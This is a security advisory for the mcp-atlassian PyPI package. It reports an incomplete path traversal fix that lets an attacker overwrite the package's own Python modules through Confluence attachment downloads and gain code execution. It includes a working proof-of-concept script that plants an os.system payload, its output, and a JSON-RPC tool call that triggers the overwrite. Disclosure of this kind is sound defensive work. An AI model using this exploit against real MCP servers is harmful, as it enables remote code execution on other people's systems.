PT-2026-105842 · Pypi · Mcp-Attlasian

Published

2026-10-01

·

Updated

2026-10-01

CVSS v4.0

8.3

High

VectorAV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

Summary

The path traversal fix introduced in v0.17.0 (GHSA-xjgw-4wvw-rgm4) is incomplete. validate safe path() is called without an explicit base dir, defaulting to os.getcwd(). In standard container deployments the process CWD is the application directory (e.g. /app), so paths within that directory, including the application's own Python source modules, pass validation without raising an exception. An attacker can overwrite a module file and achieve remote code execution on the next process restart. Versions >= 0.17.0 are not fully patched as stated in the original advisory. Confirmed on v0.21.0 (latest).

Details

src/mcp atlassian/utils/io.py — validate safe path() defaults to CWD when no base dir is supplied:
python
def validate safe path(path, base dir=None) -> Path:
  if base dir is None:
    base dir = os.getcwd()    # root of the issue
  resolved base = Path(base dir).resolve(strict=False)
  ...
  if not resolved path.is relative to(resolved base):
    raise ValueError("Path traversal detected")
Both call sites in src/mcp atlassian/confluence/attachments.py omit base dir:
python
validate safe path(target path)  # line ~227, download attachment()
validate safe path(target dir)  # line ~270, download content attachments()
When the process CWD is /app, any path under /app satisfies is relative to(CWD) and passes the guard, including all Python source modules:
/app/src/mcp atlassian/confluence/attachments.py -> passes, no exception
/app/src/mcp atlassian/servers/main.py      -> passes, no exception
/app/.env                     -> passes, no exception

PoC

Prerequisites: same as GHSA-xjgw-4wvw-rgm4 — Confluence credentials with write access to at least one page, and network access to the MCP HTTP port. Additionally requires Python 3.10+ and uvx to run the proof below.
The script imports validate safe path directly from the installed package, not a simulation of the function.
python
# poc bypass.py
import os, tempfile, shutil, importlib.util
from pathlib import Path
from mcp atlassian.utils.io import validate safe path # real package

print(f"Module: {validate safe path. module }")

# Simulate /app (standard container CWD)
app dir = tempfile.mkdtemp(prefix="mcp atlassian app ")
module dir = os.path.join(app dir, "src", "mcp atlassian")
os.makedirs(module dir)
module path = os.path.join(module dir, "attachments.py")
Path(module path).write text('def get secret(): return "LEGITIMATE"
')
os.chdir(app dir)

# Control: classic traversal is blocked
try:
  validate safe path("/etc/passwd")
except ValueError:
  print("[OK]   /etc/passwd blocked")

# Bypass: intra-CWD path passes without exception
result = validate safe path(module path)
print(f"[BYPASS] {result} - no exception raised")

# Overwrite module with attacker payload
# (content sourced from a Confluence attachment uploaded by the attacker)
Path(module path).write bytes(
  b"import os
 PWNED=True
"
  b"def get secret():
"
  b"  os.system('id')
"
  b"  return 'PWNED'
"
)
print("[WRITE] Module overwritten with malicious payload")

# Simulate process restart / module reload
spec = importlib.util.spec from file location("m", module path)
mod = importlib.util.module from spec(spec)
spec.loader.exec module(mod)  # os.system('id') executes here

print(f"[RCE]  get secret() = {repr(mod.get secret())}")
print(f"[RCE]   PWNED = {mod. PWNED}")

shutil.rmtree(app dir)
bash
uvx --from mcp-atlassian python poc bypass.py
Verified output (mcp-atlassian 0.21.0):
Module: mcp atlassian.utils.io

[OK]   /etc/passwd blocked
[BYPASS] /tmp/mcp atlassian app .../src/mcp atlassian/attachments.py - no exception raised
[WRITE] Module overwritten with malicious payload
uid=1000(appuser) gid=1000(appuser) groups=1000(appuser)
[RCE]  get secret() = 'PWNED'
[RCE]   PWNED = True
Triggering via MCP tool: upload a malicious .py file as a Confluence attachment, then call:
json
{
 "jsonrpc": "2.0",
 "id": 1,
 "method": "tools/call",
 "params": {
  "name": "confluence download attachment",
  "arguments": {
   "page id":    "<page id>",
   "attachment id": "<malicious attachment id>",
   "download path": "/app/src/mcp atlassian/confluence/attachments.py"
  }
 }
}
validate safe path does not raise. The module is overwritten and the payload executes on the next process restart.

Impact

Affected versions: 0.17.0 through 0.21.0 (latest).
Attack prerequisites are identical to those documented in GHSA-xjgw-4wvw-rgm4, which was rated CVSS 9.1 Critical. Operators who upgraded to >= 0.17.0 based on that advisory remain exposed. The MCP HTTP server binds to 0.0.0.0 with no authentication by default.
Suggested fix: pass a dedicated, explicitly configured directory as base dir instead of relying on CWD:
python
 DOWNLOAD BASE = Path(
  os.environ.get("MCP DOWNLOAD DIR", "/tmp/mcp-downloads")
).resolve()

validate safe path(target path, base dir= DOWNLOAD BASE)

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

Related Identifiers

PYSEC-2026-4087

Affected Products

Mcp-Attlasian